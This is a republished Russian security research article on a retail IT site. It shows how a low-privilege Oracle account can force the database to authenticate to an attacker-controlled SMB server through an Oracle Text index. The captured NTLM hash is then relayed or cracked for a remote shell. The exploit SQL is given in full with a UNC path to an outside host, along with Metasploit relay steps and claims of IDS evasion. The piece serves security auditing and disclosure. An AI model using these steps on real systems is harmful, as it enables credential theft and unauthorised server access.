(495) 925-0049, ITShop интернет-магазин 229-0436, Учебный Центр 925-0049
  Главная страница Карта сайта Контакты
Поиск
Вход
Регистрация
Рассылки сайта
 
 
 
 
 

Получение доступа к ОС, используя непривилегированную учетную запись в СУБД Oracle

 Автор: Александр Поляков, Digitаl Security Research Group (DSecRG)

Вступление

Однажды   в   ходе   аудита   очередной   корпоративной   сети   я   получил непривилегированную учетную запись в СУБД Oracle и мне был необходим доступ к командной   строке   сервера,   на   которой   установлена   эта   СУБД.   Ситуация стандартная -  запускаем  любой  эксплоит,  повышающий  привилегии,  а  дальше, получив права DBA, можем получить доступ к ОС множеством различных способов таких как EXTProc, Java, Ext Job и прочие [1].

 Но  тут  я  задумался,  а  что  если  в  СУБД,  будут  установлены  последние критические обновления, да еще и будет установлена специализированная   система обнаружения   и   предотвращения   вторжений,   реагирующую   на   неизвестные уязвимости. В таком случае повысить привилегии при помощи очередной SQL-инъекции и получить доступ к командной строке ОС так просто не получится. Безусловно, есть и   другие   способы   повышения   привилегий:   поискать   пароли   в   базе   данных, подсоединиться к tnslistener изнутри, переписать лог-файл командами и поместить его в автозагрузку или, наконец, изучить набор привилегий, данных пользователю; возможно, там есть что-нибудь вроде  "SELECT ANY DICTIONARY". В общем, способы есть, но слишком уж у них много разных "если", а ведь должно же быть что-нибудь простое и универсальное.

Итак,  перед  нами  задача  -  получить  командную  строку  на  сервере,  имея минимальные права в СУБД Oracle, установленной на этом сервере и не пользуясь известными уязвимостями повышающим привилегии.

Немного о Pass The Hash

Это  общеизвестный  факт,  что  ОС  Windows  позволяет  аутентифицироваться  с использованием протокола NTLM, используя только хэш пароля. И, скорее всего, вы пользовались  утилитами  вроде  msvctl,  pass  the  hash  toolkit,  PtH-pwner  и  прочими излюбленными  аудиторами  утилитами,  позволяющими  получив  один  единственный (если повезет) LM/NTLM-хэш учетной записи, в считанные секунды получить доступ ко всему домену [2]. Это все, конечно, замечательно, но только как получить этот заветный хэш - вот в чем вопрос.

Для того чтобы получить хеш учетной записи, от которой запущена СУБД, есть два пути. Первый - получить административный доступ к ОС и вытащить хеш из локального хранилища LSA. Этот путь мы сразу отбрасываем, так как административный доступ в ОС это и есть наша цель. Второй - это заставить СУБД Oracle инициировать NTLM challengeresponse аутентификацию на подконтрольный нами SMB-сервер, тем самым получить хеш пользователя, от имени которого запущена СУБД.

Подключение к удаленному SMB-серверу

Для того чтобы организовать эту идею технически, необходимо найти способ, как через СУБД осуществлять доступ к сетевым файлам. Способов таких много (см. таблицу), но, к сожалению, практически все они требуют высоких привилегий, имея которые, мы и так можем получить командную строку на сервере.

 

Название метода

Требуемые привилегии

ExtProc

CREATE ANY LABRARY

Java

JAVAADMIN

JOB Scheduler

CREATE EXTERNAL JOB

Change PLSQL compiler

ALTER SYSEM

UTL_FILE

CREATE ANY DIRECTORY

DBMS_JOB

CREATE ANY DIRECTORY

DBMS_ADVISOR

CREATE ANY DIRECTORY

Остается только один вариант - чтение файлов через ctxsys.context индексы (Oracle TEXT). Данный способ был представлен Александром Корнбрустом (Alexander Kornbrust) в своем блоге в качестве одного из способов чтения локальных файлов. В описании было заявлено, что для реализации этого метода пользователю требуется роль CTXAPP, что уже интереснее.

Как  оказалось  в  ходе  моих  исследований,  данная  роль  не  обязательна  для создания индекса и чтения файлов. Об этом написано в руководстве разработчика "Oracle Text Application Developer's Guide 10g Release 2".

Кроме того, данный факт был подтвержден на практике в результате проверки на СУБД Oracle  10g R2. Это уже неплохо, так как получается, что, имея права обычного пользователя в СУБД, мы можем читать любые файлы, но хочется большего.

В ходе исследований оказалось, что, используя данный метод, можно получать доступ не только к локальным, но и к сетевым файлам, а, следовательно, таким образом мы сможем инициировать NTLM challenge-response аутентификацию.

Как   итог,   мы   получаем   возможность   перехвата   NTLM   challenge-response аутентификации  (а  также  возможно  и  получения  удаленного  доступа  к  командной строке), имея учетную запись в СУБД Oracle, обладающую только стандартными ролями CONNECT и RESOURCE, которые присутствуют практически у любого пользователя.

Техническая реализация

Для того чтобы получить доступ к сетевому файлу, сперва необходимо создать вспомогательную таблицу.

SQL>  CREATE  TABLE  files  (id  NUMBER  PRIMARY  KEY,  path  VARCHAR(255)  UNIQUE, ot_format  VARCHAR(6));

После чего, помещаем в таблицу путь к сетевой папке, где у нас установлен SMB сервер.

INSERT  INTO  files  VALUES  (1,  "\\172.16.1.3\SHARE",  NULL);

И, наконец, создаем индекс типа ctxsys.context на столбец, в котором записан путь к файлу.

CREATE  INDEX  file_index  ON  files(path)  INDEXTYPE  IS  ctxsys.context PARAMETERS  ("datastore  ctxsys.file_datastore  format  column  ot_format");

При  создании  индекса  СУБД  инициализирует  сетевое  соединение  по  адресу \\172.16.1.3\SHARE и попытается аутентифицироваться от имени пользователя, с правами которого запущена СУБД.

Если предварительно установить поддельный SMB-сервер по адресу 172.16.1.3, то мы  получим HALFLM-хэш пароля.  [5] А  если учитывать, что  challenge  мы  указываем самостоятельно, то расшифровать пароль не составит труда, в этом нам могут помочь Raibow-таблицы. После расшифровки пароля мы получим доступ на сервере, чего и добивались.

Но  это  еще  не  все.  Расшифровать  пароль  возможно  не  всегда,  но  это  и  не обязательно. Если воспользоваться утилитой SMB-relay встроенной в Metasploit, то мы сможем инициализировать обратное подключение к серверу, используя перехваченную аутентификацию,  и  тем  самым,  получить  командную  строку  на  сервере,  даже  не расшифровывая пароль.

Автоматизация атаки. Модуль ora_ntlm_stealer для Metasploit

Для  удобства  проведения  атаки  был  создан  модуль  ora_ntlm_stealer для Metasploit, который осуществляет данную атаку. Для ее реализации необходимо вначале запустить модуль smb_relay из набора Metasploit.

Модуль smb_relay из набора Metasploit

После чего запускаем модуль ora_ntlm_stealer и прописываем ему в качестве параметра IP-адрес SMB-сервера, где мы запустили smb_relay. После чего запускаем модуль и получаем на выходе исходный код процедуры, которую надо запустить в СУБД.

Процесс работы модуля ora_ntlm_stealer

 После того, как код сгенерирован, мы подключаемся к СУБД при помощи любой из доступных нам учетных записей, например, SCOTT или DBSNMP, проверяем, что у нас нет никаких привилегий кроме как CONNECT и RESOURCE и запускаем эксплоит.

Подключение к СУБД и запуск эксплоиита

После  того,  как  эксплоит  сработает,  мы  сможем  увидеть  в  консоли  модуля smb_relay, как некто с IP-адресом  172.16.0.113 пытался подключиться к SMB-серверу. Соединение  было  запущено  от  имени  пользователя  Administrator,  под  которым функционирует СУБД.

Результат атаки - получен доступ к командной строке

Таким  образом,  мы,  во-первых,  получили  хеш  учетной  записи  Administrator, которая имеет административные права в системе, а во-вторых, получили командную строку на сервере, где установлена СУБД Oracle.

Перехват HTTP NTLM

Есть  еще  один  способ  получения  доступа  к  ОС -  перехват  NTLM  HTTP аутентификации. [8] Правда в этом случае нам придется потрудиться над расшифровкой хэшей паролей, так как в том виде, в каком они нам будут представлены при перехвате NTLM  HTTP  аутентификации,  их  нельзя  будет  использовать  для  обычной  NTLM аутентификации  и  получения  удаленного  доступа.  Этот  способ  реализуется  утилитой squirtle [9],  которая  запускает  подконтрольный  веб-сервер  и  заставляет  каждого подключившегося клиента инициализировать HTTP NTLM аутентификацию c известным заранее  случайным  значением  "nonce", что позволяет расшифровать в  итоге  пароль клиента, используя заранее рассчитанные Rainbow-таблицы. Для того чтобы реализовать данную атаку можно подключиться к веб-серверу из консоли СУБД Oracle, используя такие пакеты как utl_http или HTTPUriType.

Невидимость для систем обнаружения и других защитных механизмов

Еще одним плюсом этого метода является то, что он не обнаруживается системами обнаружения вторжений, так как использует мало распространенный способ получения доступа к ОС. Написанный модуль для Metasploit дает еще дополнительную защиту от обнаружения, так как использует методы маскировки вредоносного кода.

Данный метод получения доступа к ОС был опробован на популярной системе защиты  для  СУБД  Oracle  -  Sentrigo  Hedgehog  и  дал  положительный  результат  [10]. Никаких записей о возможных попытках атаки обнаружено не было, тем не менее, удаленный доступ к командной строке сервера был получен.

Заключение

В этом документе был представлен один из способов получения доступа к ОС через СУБД Oracle. Его несомненными плюсами является необходимость наличия только лишь  непривилегированной  учетной  записи  в  СУБД  Oracle (как  правило,  согласно различным статистическим исследованиям, порядка 95% СУБД имеют предустановленные учетные  записи  со  стандартными  паролями  или  учетные  записи  со  словарными паролями),  а  также    невидимость  (на  момент  публикации)  для  популярных  систем обнаружения вторжений.

Ссылки по теме


 Распечатать »
 Правила публикации »
  Написать редактору 
 Рекомендовать » Дата публикации: 22.10.2009 
 

Магазин программного обеспечения   WWW.ITSHOP.RU
Oracle Database Personal Edition Named User Plus Software Update License & Support
Oracle Database Standard Edition 2 Processor License
Oracle Database Standard Edition 2 Named User Plus License
Oracle Database Personal Edition Named User Plus License
IBM Domino Utility Server Processor Value Unit (PVU) License + SW Subscription & Support 12 Months
 
Другие предложения...
 
Курсы обучения   WWW.ITSHOP.RU
 
Другие предложения...
 
Магазин сертификационных экзаменов   WWW.ITSHOP.RU
 
Другие предложения...
 
3D Принтеры | 3D Печать   WWW.ITSHOP.RU
 
Другие предложения...
 
Новости по теме
 
Рассылки Subscribe.ru
Информационные технологии: CASE, RAD, ERP, OLAP
Новости ITShop.ru - ПО, книги, документация, курсы обучения
Программирование на Microsoft Access
CASE-технологии
СУБД Oracle "с нуля"
Один день системного администратора
Delphi - проблемы и решения
 
Статьи по теме
 
Новинки каталога Download
 
Исходники
 
Документация
 
 



    
rambler's top100 Rambler's Top100